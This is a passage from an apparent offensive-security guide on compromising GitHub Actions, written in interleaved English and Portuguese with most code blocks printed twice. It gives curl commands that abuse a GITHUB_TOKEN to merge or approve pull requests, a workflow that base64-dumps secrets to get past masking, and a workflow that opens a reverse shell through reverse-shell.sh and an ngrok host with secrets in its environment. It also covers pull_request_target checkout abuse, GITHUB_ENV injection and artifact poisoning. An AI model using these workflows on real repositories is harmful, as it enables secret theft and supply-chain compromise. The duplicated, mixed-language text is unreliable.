- Se o pipeline implanta ou armazena ativos, você poderia alterar o produto final, possibilitando um ataque à cadeia de suprimentos.
|
||||
- **Executar código em trabalhadores personalizados** para abusar do poder computacional e pivotar para outros sistemas.
|
||||
- **Sobrescrever o código do repositório**, dependendo das permissões associadas ao `GITHUB_TOKEN`.
|
||||
|
||||
## GITHUB_TOKEN
|
||||
|
||||
This "**secret**" (coming from `${{ secrets.GITHUB_TOKEN }}` and `${{ github.token }}`) is given when the admin enables this option:
|
||||
Este "**segredo**" (vindo de `${{ secrets.GITHUB_TOKEN }}` e `${{ github.token }}`) é fornecido quando o administrador habilita esta opção:
|
||||
|
||||
<figure><img src="../../../images/image (86).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
This token is the same one a **Github Application will use**, so it can access the same endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
Este token é o mesmo que uma **Aplicação Github usará**, então pode acessar os mesmos endpoints: [https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)
|
||||
|
||||
> [!WARNING]
|
||||
> Github should release a [**flow**](https://github.com/github/roadmap/issues/74) that **allows cross-repository** access within GitHub, so a repo can access other internal repos using the `GITHUB_TOKEN`.
|
||||
> O Github deve lançar um [**fluxo**](https://github.com/github/roadmap/issues/74) que **permita acesso entre repositórios** dentro do GitHub, para que um repositório possa acessar outros repositórios internos usando o `GITHUB_TOKEN`.
|
||||
|
||||
You can see the possible **permissions** of this token in: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
Você pode ver as possíveis **permissões** deste token em: [https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token)
|
||||
|
||||
Note that the token **expires after the job has completed**.\
|
||||
These tokens looks like this: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
Note que o token **expira após a conclusão do trabalho**.\
|
||||
Esses tokens se parecem com isso: `ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7`
|
||||
|
||||
Some interesting things you can do with this token:
|
||||
Algumas coisas interessantes que você pode fazer com este token:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Merge PR" }}
|
||||
|
||||
```bash
|
||||
# Merge PR
|
||||
curl -X PUT \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header "content-type: application/json" \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header "content-type: application/json" \
|
||||
-d "{\"commit_title\":\"commit_title\"}"
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="Approve PR" }}
|
||||
|
||||
{{#tab name="Aprovar PR" }}
|
||||
```bash
|
||||
# Approve a PR
|
||||
curl -X POST \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
-d '{"event":"APPROVE"}'
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/reviews \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
-d '{"event":"APPROVE"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#tab name="Create PR" }}
|
||||
|
||||
{{#tab name="Criar PR" }}
|
||||
```bash
|
||||
# Create a PR
|
||||
curl -X POST \
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
|
||||
-H "Accept: application/vnd.github.v3+json" \
|
||||
--header "authorization: Bearer $GITHUB_TOKEN" \
|
||||
--header 'content-type: application/json' \
|
||||
https://api.github.com/repos/<org_name>/<repo_name>/pulls \
|
||||
-d '{"head":"<branch_name>","base":"master", "title":"title"}'
|
||||
```
|
||||
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
|
||||
> Note que em várias ocasiões você poderá encontrar **tokens de usuário do github dentro das envs do Github Actions ou nos segredos**. Esses tokens podem lhe dar mais privilégios sobre o repositório e a organização.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>List secrets in Github Action output</summary>
|
||||
|
||||
<summary>Listar segredos na saída do Github Action</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get reverse shell with secrets</summary>
|
||||
|
||||
<summary>Obter shell reverso com segredos</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
|
||||
É possível verificar as permissões concedidas a um Github Token em repositórios de outros usuários **verificando os logs** das ações:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## Allowed Execution
|
||||
## Execução Permitida
|
||||
|
||||
> [!NOTE]
|
||||
> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
|
||||
> Esta seria a maneira mais fácil de comprometer ações do Github, já que este caso supõe que você tenha acesso para **criar um novo repositório na organização**, ou tenha **privilegios de escrita sobre um repositório**.
|
||||
>
|
||||
> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
|
||||
> Se você estiver nesse cenário, pode apenas verificar as [técnicas de Pós Exploração](./#post-exploitation-techniques-from-inside-an-action).
|
||||
|
||||
### Execution from Repo Creation
|
||||
### Execução a partir da Criação de Repositório
|
||||
|
||||
In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
|
||||
Caso membros de uma organização possam **criar novos repositórios** e você possa executar ações do github, você pode **criar um novo repositório e roubar os segredos definidos no nível da organização**.
|
||||
|
||||
### Execution from a New Branch
|
||||
### Execução a partir de um Novo Branch
|
||||
|
||||
If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
|
||||
|
||||
You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
|
||||
Se você puder **criar um novo branch em um repositório que já contém uma Ação do Github** configurada, você pode **modificá-la**, **carregar** o conteúdo e então **executar essa ação a partir do novo branch**. Dessa forma, você pode **exfiltrar segredos em nível de repositório e organização** (mas você precisa saber como eles são chamados).
|
||||
|
||||
Você pode tornar a ação modificada executável **manualmente,** quando um **PR é criado** ou quando **algum código é enviado** (dependendo de quão barulhento você quer ser):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- master
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- master
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name
|
||||
# Use '**' instead of a branh name to trigger the action in all the cranches
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Forked Execution
|
||||
## Execução Forked
|
||||
|
||||
> [!NOTE]
|
||||
> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
|
||||
> Existem diferentes gatilhos que poderiam permitir a um atacante **executar uma Github Action de outro repositório**. Se essas ações acionáveis forem mal configuradas, um atacante poderá comprometê-las.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
|
||||
O gatilho do fluxo de trabalho **`pull_request`** executará o fluxo de trabalho toda vez que um pull request for recebido, com algumas exceções: por padrão, se for a **primeira vez** que você está **colaborando**, algum **mantenedor** precisará **aprovar** a **execução** do fluxo de trabalho:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
|
||||
> Como a **limitação padrão** é para **contribuidores de primeira viagem**, você poderia contribuir **corrigindo um bug/erro válido** e depois enviar **outros PRs para abusar de seus novos privilégios de `pull_request`**.
|
||||
>
|
||||
> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
|
||||
> **Eu testei isso e não funciona**: ~~Outra opção seria criar uma conta com o nome de alguém que contribuiu para o projeto e deletou sua conta.~~
|
||||
|
||||
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
Além disso, por padrão **impede permissões de escrita** e **acesso a segredos** no repositório alvo, conforme mencionado na [**documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
> Com a exceção de `GITHUB_TOKEN`, **segredos não são passados para o runner** quando um fluxo de trabalho é acionado de um repositório **forked**. O **`GITHUB_TOKEN` tem permissões de leitura** em pull requests **de repositórios forked**.
|
||||
|
||||
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
|
||||
Um atacante poderia modificar a definição da Github Action para executar coisas arbitrárias e adicionar ações arbitrárias. No entanto, ele não poderá roubar segredos ou sobrescrever o repositório devido às limitações mencionadas.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
|
||||
> **Sim, se o atacante mudar no PR a github action que será acionada, sua Github Action será a utilizada e não a do repositório de origem!**
|
||||
|
||||
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
|
||||
Como o atacante também controla o código sendo executado, mesmo que não haja segredos ou permissões de escrita no `GITHUB_TOKEN`, um atacante poderia, por exemplo, **carregar artefatos maliciosos**.
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
|
||||
O gatilho do fluxo de trabalho **`pull_request_target`** tem **permissão de escrita** no repositório alvo e **acesso a segredos** (e não pede permissão).
|
||||
|
||||
Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
Note que o gatilho do fluxo de trabalho **`pull_request_target`** **executa no contexto base** e não no fornecido pelo PR (para **não executar código não confiável**). Para mais informações sobre `pull_request_target`, [**verifique a documentação**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Além disso, para mais informações sobre esse uso específico perigoso, confira este [**post no blog do github**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
|
||||
Pode parecer que, porque o **fluxo de trabalho executado** é o definido na **base** e **não no PR**, é **seguro** usar **`pull_request_target`**, mas há **alguns casos em que não é**.
|
||||
|
||||
An this one will have **access to secrets**.
|
||||
E este terá **acesso a segredos**.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
|
||||
|
||||
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
|
||||
O gatilho [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) permite executar um fluxo de trabalho a partir de outro quando está `completo`, `solicitado` ou `em_andamento`.
|
||||
|
||||
Neste exemplo, um fluxo de trabalho é configurado para ser executado após a conclusão do fluxo de trabalho separado "Executar Testes":
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
workflow_run:
|
||||
workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
Além disso, de acordo com a documentação: O fluxo de trabalho iniciado pelo evento `workflow_run` é capaz de **acessar segredos e escrever tokens, mesmo que o fluxo de trabalho anterior não tenha**.
|
||||
|
||||
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
|
||||
|
||||
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
|
||||
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
|
||||
Esse tipo de fluxo de trabalho pode ser atacado se **depender** de um **fluxo de trabalho** que pode ser **ativado** por um usuário externo via **`pull_request`** ou **`pull_request_target`**. Alguns exemplos vulneráveis podem ser [**encontrados neste blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** O primeiro consiste no fluxo de trabalho ativado por **`workflow_run`** baixando o código dos atacantes: `${{ github.event.pull_request.head.sha }}`\
|
||||
O segundo consiste em **passar** um **artefato** do código **não confiável** para o fluxo de trabalho **`workflow_run`** e usar o conteúdo desse artefato de uma maneira que o torne **vulnerável a RCE**.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
|
||||
TODO: Verificar se, quando executado a partir de um pull_request, o código usado/baixado é o do origin ou do PR bifurcado
|
||||
|
||||
## Abusing Forked Execution
|
||||
## Abusando da Execução Bifurcada
|
||||
|
||||
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
|
||||
Mencionamos todas as maneiras que um atacante externo poderia conseguir fazer um fluxo de trabalho do github ser executado, agora vamos dar uma olhada em como essas execuções, se mal configuradas, poderiam ser abusadas:
|
||||
|
||||
### Untrusted checkout execution
|
||||
### Execução de checkout não confiável
|
||||
|
||||
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
|
||||
No caso de **`pull_request`,** o fluxo de trabalho será executado no **contexto do PR** (então executará o **código malicioso do PR**), mas alguém precisa **autorizá-lo primeiro** e ele será executado com algumas [limitações](./#pull_request).
|
||||
|
||||
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
|
||||
No caso de um fluxo de trabalho usando **`pull_request_target` ou `workflow_run`** que depende de um fluxo de trabalho que pode ser ativado a partir de **`pull_request_target` ou `pull_request`**, o código do repositório original será executado, então o **atacante não pode controlar o código executado**.
|
||||
|
||||
> [!CAUTION]
|
||||
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
|
||||
> No entanto, se a **ação** tiver um **checkout explícito do PR** que irá **obter o código do PR** (e não da base), ele usará o código controlado pelos atacantes. Por exemplo (ver linha 12 onde o código do PR é baixado):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Fornecido apenas como exemplo.
|
||||
on:
|
||||
pull_request_target
|
||||
pull_request_target
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Build and test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
build:
|
||||
name: Build and test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
<strong> - uses: actions/checkout@v2
|
||||
</strong><strong> with:
|
||||
</strong><strong> ref: ${{ github.event.pull_request.head.sha }}
|
||||
</strong>
|
||||
- uses: actions/setup-node@v1
|
||||
- run: |
|
||||
npm install
|
||||
npm build
|
||||
- uses: actions/setup-node@v1
|
||||
- run: |
|
||||
npm install
|
||||
npm build
|
||||
|
||||
- uses: completely/fakeaction@v2
|
||||
with:
|
||||
arg1: ${{ secrets.supersecret }}
|
||||
- uses: completely/fakeaction@v2
|
||||
with:
|
||||
arg1: ${{ secrets.supersecret }}
|
||||
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
Thank you!
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
Thank you!
|
||||
</code></pre>
|
||||
|
||||
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
|
||||
O código potencialmente **não confiável está sendo executado durante `npm install` ou `npm build`**, pois os scripts de build e os **pacotes referenciados são controlados pelo autor do PR**.
|
||||
|
||||
> [!WARNING]
|
||||
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
|
||||
> Um dork do github para procurar ações vulneráveis é: `event.pull_request pull_request_target extension:yml`, no entanto, existem diferentes maneiras de configurar os jobs para serem executados de forma segura, mesmo que a ação esteja configurada de forma insegura (como usar condicionais sobre quem é o ator gerando o PR).
|
||||
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
### Injeções de Script de Contexto <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
|
||||
Observe que existem certos [**contextos do github**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) cujos valores são **controlados** pelo **usuário** que cria o PR. Se a ação do github estiver usando esses **dados para executar qualquer coisa**, isso pode levar à **execução de código arbitrário:**
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
{{#endref}}
|
||||
|
||||
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
### **Injeção de Script GITHUB_ENV** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
|
||||
De acordo com a documentação: Você pode tornar uma **variável de ambiente disponível para quaisquer etapas subsequentes** em um job de fluxo de trabalho definindo ou atualizando a variável de ambiente e escrevendo isso no arquivo de ambiente **`GITHUB_ENV`**.
|
||||
|
||||
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
|
||||
Se um atacante puder **injetar qualquer valor** dentro dessa variável **env**, ele poderá injetar variáveis de ambiente que poderiam executar código nas etapas seguintes, como **LD_PRELOAD** ou **NODE_OPTIONS**.
|
||||
|
||||
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
|
||||
Por exemplo ([**este**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) e [**este**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine um fluxo de trabalho que confia em um artefato carregado para armazenar seu conteúdo dentro da variável de ambiente **`GITHUB_ENV`**. Um atacante poderia carregar algo assim para comprometê-lo:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Vulnerable Third Party Github Actions
|
||||
### Ações do Github de Terceiros Vulneráveis
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
|
||||
Como mencionado em [**este post do blog**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), esta Ação do Github permite acessar artefatos de diferentes fluxos de trabalho e até mesmo repositórios.
|
||||
|
||||
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
|
||||
|
||||
Example of vulnerable workflow:
|
||||
O problema é que se o parâmetro **`path`** não estiver definido, o artefato é extraído no diretório atual e pode sobrescrever arquivos que poderiam ser usados ou até mesmo executados no fluxo de trabalho. Portanto, se o Artefato for vulnerável, um atacante poderia abusar disso para comprometer outros fluxos de trabalho que confiam no Artefato.
|
||||
|
||||
Exemplo de fluxo de trabalho vulnerável:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["some workflow"]
|
||||
types:
|
||||
- completed
|
||||
workflow_run:
|
||||
workflows: ["some workflow"]
|
||||
types:
|
||||
- completed
|
||||
|
||||
jobs:
|
||||
success:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: download artifact
|
||||
uses: dawidd6/action-download-artifact
|
||||
with:
|
||||
workflow: ${{ github.event.workflow_run.workflow_id }}
|
||||
name: artifact
|
||||
- run: python ./script.py
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
success:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: download artifact
|
||||
uses: dawidd6/action-download-artifact
|
||||
with:
|
||||
workflow: ${{ github.event.workflow_run.workflow_id }}
|
||||
name: artifact
|
||||
- run: python ./script.py
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
|
||||
This could be attacked with this workflow:
|
||||
|
||||
Isto pode ser atacado com este fluxo de trabalho:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
|
||||
jobs:
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: echo "print('exploited')" > ./script.py
|
||||
- uses actions/upload-artifact@v2
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: echo "print('exploited')" > ./script.py
|
||||
- uses actions/upload-artifact@v2
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Other External Access
|
||||
## Outro Acesso Externo
|
||||
|
||||
### Deleted Namespace Repo Hijacking
|
||||
### Sequestro de Repositório de Namespace Deletado
|
||||
|
||||
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
|
||||
Se uma conta mudar seu nome, outro usuário pode registrar uma conta com esse nome após algum tempo. Se um repositório tinha **menos de 100 estrelas antes da mudança de nome**, o Github permitirá que o novo usuário registrado com o mesmo nome crie um **repositório com o mesmo nome** que o deletado.
|
||||
|
||||
> [!CAUTION]
|
||||
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
|
||||
> Portanto, se uma ação estiver usando um repositório de uma conta inexistente, ainda é possível que um atacante crie essa conta e comprometa a ação.
|
||||
|
||||
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
Se outros repositórios estavam usando **dependências desses repositórios de usuário**, um atacante poderá sequestrá-los. Aqui está uma explicação mais completa: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Repo Pivoting
|
||||
## Pivotagem de Repositório
|
||||
|
||||
> [!NOTE]
|
||||
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
|
||||
> Nesta seção, falaremos sobre técnicas que permitiriam **pivotar de um repositório para outro**, supondo que temos algum tipo de acesso ao primeiro (verifique a seção anterior).
|
||||
|
||||
### Cache Poisoning
|
||||
### Envenenamento de Cache
|
||||
|
||||
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
|
||||
Um cache é mantido entre **execuções de workflow na mesma branch**. O que significa que, se um atacante **comprometer** um **pacote** que é então armazenado no cache e **baixado** e executado por um **workflow mais privilegiado**, ele poderá **comprometer** também esse workflow.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
{{#endref}}
|
||||
|
||||
### Artifact Poisoning
|
||||
### Envenenamento de Artefato
|
||||
|
||||
